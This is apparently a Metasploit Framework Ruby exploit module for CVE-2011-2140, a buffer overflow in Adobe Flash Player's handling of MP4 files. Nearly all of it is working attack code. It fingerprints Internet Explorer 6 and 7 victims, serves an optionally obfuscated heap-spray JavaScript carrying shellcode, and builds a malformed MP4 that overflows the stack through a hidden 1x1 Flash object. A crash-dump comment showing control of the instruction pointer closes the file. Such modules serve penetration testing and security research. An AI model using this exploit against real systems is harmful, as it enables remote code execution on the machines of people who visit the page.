##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx
				component.  When processing a MP4 file (specifically the Sequence Parameter Set),
				Flash will see if pic_order_cnt_type is equal to 1, which sets the
				num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in
				offset_for_ref_frame on the stack, which allows arbitrary remote code execution
				under the context of the user.  Numerous reports also indicate that this
				vulnerability has been exploited in the wild.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Alexander Gavrun', #RCA
					'Abysssec',         #PoC
					'sinn3r'            #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2011-2140' ],
					[ 'OSVDB', '74439'],
					[ 'BID', '49083' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-276/' ],
					[ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],
					[ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ],
					[ 'URL', 'http://www.abysssec.com/blog/2012/01/31/exploiting-cve-2011-2140-another-flash-player-vulnerability/' ]
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00",
					'StackAdjustment' => -3500
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'         => "seh",
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3',         { 'Offset' => '0x600' } ], #0x5f4 = spot on
					[ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Aug 9 2011",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
				], self.class)
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]
		elsif agent =~ /MSIE 7/
			return targets[2]
		else
			return nil
		end
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		# The SWF requests our MP4 trigger
		if request.uri =~ /\.mp4$/
			print_status("Sending MP4")
			send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
			return
		end

		# The SWF request itself
		if request.uri =~ /\.swf$/
			print_status("Sending SWF")
			send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
			return
		end

		# Redirect to a trailing slash so relative paths work properly
		if resource_uri != "/" and not request.uri.index("#{resource_uri}/")
			uri = resource_uri + "/"
			send_redirect(cli, uri)
			return
		end

		# Set payload depending on target
		p = payload.encoded

		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

		js = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x7ffc0-6)/2);

		heap_obj.gc();

		for (var i=1; i < 0x300; i++) {
			heap_obj.alloc(block);
		}
		JS

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
		swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"

		html = %Q|
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
		<param name="movie" value="#{swf_uri}">
		</object>
		</body>
		</html>
		|

		html = html.gsub(/^\t\t/, '')

		print_status("Sending HTML")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

	def exploit
		@mp4 = create_mp4
		@swf = create_swf
		super
	end

	def create_swf
		path = ::File.join( Msf::Config.install_root, "data", "exploits", "mp4player.swf" )
		fd = ::File.open( path, "rb" )
		swf = fd.read(fd.stat.size)
		fd.close
		return swf
	end

	def create_mp4
		ftypAtom = "\x00\x00\x00\x20"                   #Size
		ftypAtom << "ftypisom"
		ftypAtom << "\x00\x00\x02\x00"
		ftypAtom << "isomiso2avc1mp41"

		mdatAtom = "\x00\x00\x00\x10"                   #Size
		mdatAtom << "mdat"
		mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"

		moovAtom1 = "\x00\x00\x08\x83"                  #Size
		moovAtom1 << "moov"                             #Move header box header
		moovAtom1 << "\x00\x00\x00"
		moovAtom1 << "lmvhd"                            # Type
		moovAtom1 << "\x00\x00\x00\x00"                 # Version/Flags
		moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
		moovAtom1 << "\x00\x00\x03\xE8"                 # Time scale
		moovAtom1 << "\x00\x00\x2F\x80"                 # Duration
		moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
		moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"
		moovAtom1 << "trak"                             # Track box header
		moovAtom1 << "\x00\x00\x00\x5C"
		moovAtom1 << "tkhd"
		moovAtom1 << "\x00\x00\x00\x0F"
		moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80"  # Creation time
		moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"
		moovAtom1 << "rmdia"
		moovAtom1 << "\x00\x00\x00\x20"                  # Size
		moovAtom1 << "mdhd"                              # Media header box
		moovAtom1 << "\x00\x00\x00\x00"                  # Version/Flags
		moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80"  # Creation time
		moovAtom1 << "\x00\x00\x00\x01"                  # Time scale
		moovAtom1 << "\x00\x00\x00\x0C"                  # Duration
		moovAtom1 << "\x55\xC4\x00\x00"
		moovAtom1 << "\x00\x00\x00\x2D"                  # Size
		moovAtom1 << "hdlr"                              # Handler Reference header
		moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"
		moovAtom1 << "vide"                              # Handler type
		moovAtom1 << "\x00\x00\x00\x00\x00"
		moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"
		moovAtom1 << "VideoHandler"                      # Handler name
		moovAtom1 << "\x00\x00\x00\x02\x1D"
		moovAtom1 << "minf"
		moovAtom1 << "\x00\x00\x00\x14"
		moovAtom1 << "vmhd"
		moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"
		moovAtom1 << "dinf"                              # Data information box header
		moovAtom1 << "\x00\x00\x00\x1c"
		moovAtom1 << "dref"                              # Data reference box
		moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
		moovAtom1 << "\x00\x00\x00\x0C"                  # Size
		moovAtom1 << "url "                              # Data entry URL box
		moovAtom1 << "\x00\x00\x00\x01"                  # Location / version / flags
		moovAtom1 << "\x00\x00\x09\xDD"                  # Size
		moovAtom1 << "stbl"
		moovAtom1 << "\x00\x00\x08\x99"
		moovAtom1 << "stsd"
		moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
		moovAtom1 << "\x00\x00\x08\x89"                  # Size
		moovAtom1 << "avc1"
		moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		moovAtom1 << "\x01\x42"                          # Width
		moovAtom1 << "\x01\x42"                          # Height
		moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		moovAtom1 << "\x18"                              # Depth
		moovAtom1 << "\xFF\xFF"
		moovAtom1 << "\x00\x00\x08\x33"                  # Size
		moovAtom1 << "avcC"
		moovAtom1 << "\x01"                              # Config version
		moovAtom1 << "\x64"                              # Avc profile indication
		moovAtom1 << "\x00"                              # Compatibility
		moovAtom1 << "\x15"                              # Avc level indication
		moovAtom1 << "\xFF\xE1"

		# Although the fields have different values, they all become 0x0c0c0c0c
		# in memory.
		cycle =  "\x00\x00\x00"
		cycle << "\x30\x30\x30\x30"  #6th
		cycle << "\x00\x00\x00"
		cycle << "\x18\x18\x18\x18"  #7th
		cycle << "\x00\x00\x00"
		cycle << "\x0c\x0c\x0c\x0c"  #8th
		cycle << "\x00\x00\x00"
		cycle << "\x06\x06\x06\x06"  #1st
		cycle << "\x00\x00\x00"
		cycle << "\x03\x03\x03\x03"
		cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"
		cycle << "\xc0\xc0\xc0\xc0"  # 4th
		cycle << "\x00\x00\x00"
		cycle << "\x60\x60\x60\x60"

		spsunit =  "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"
		spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
		spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"
		spsunit << cycle * 35
		spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"

		moovAtom2 = "\x00\x00\x00\x18"
		moovAtom2 << "stts"
		moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"
		moovAtom2 << "\x00\x00\x00\x14"
		moovAtom2 << "stss"
		moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
		moovAtom2 << "pctts"
		moovAtom2 << "\x00\x00\x00\x00\x00\x00"
		moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
		moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"
		moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"
		moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"
		moovAtom2 << "\x00\x00\x00\x1C"
		moovAtom2 << "stsc"
		moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"
		moovAtom2 << "\x00\x00\x00\x44"
		moovAtom2 << "stsz"
		moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"
		moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"
		moovAtom2 << "\x00\x00\x00\x40"
		moovAtom2 << "stco"
		moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"
		moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"

		moovAtom = moovAtom1 + spsunit + moovAtom2
		m = ftypAtom + mdatAtom + moovAtom
		return m
	end

end

=begin
C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx

Flash10u+0x5b4e8:
Missing image name, possible paged-out or corrupt data.
1f06b4e8 8901            mov     dword ptr [ecx],eax  ds:0023:020c0000=00905a4d
0:008> !exchain
020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)

ECX points to 0x0c0c0c0c at the time of the crash:
0:008> r
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050246
<Unloaded_ud.drv>+0xc0c0c0b:
0c0c0c0c ??              ???

Example of SWF player URI:
http://www.jeroenwijering.com/embed/mediaplayer.swf

To-do:
IE 8 target
=end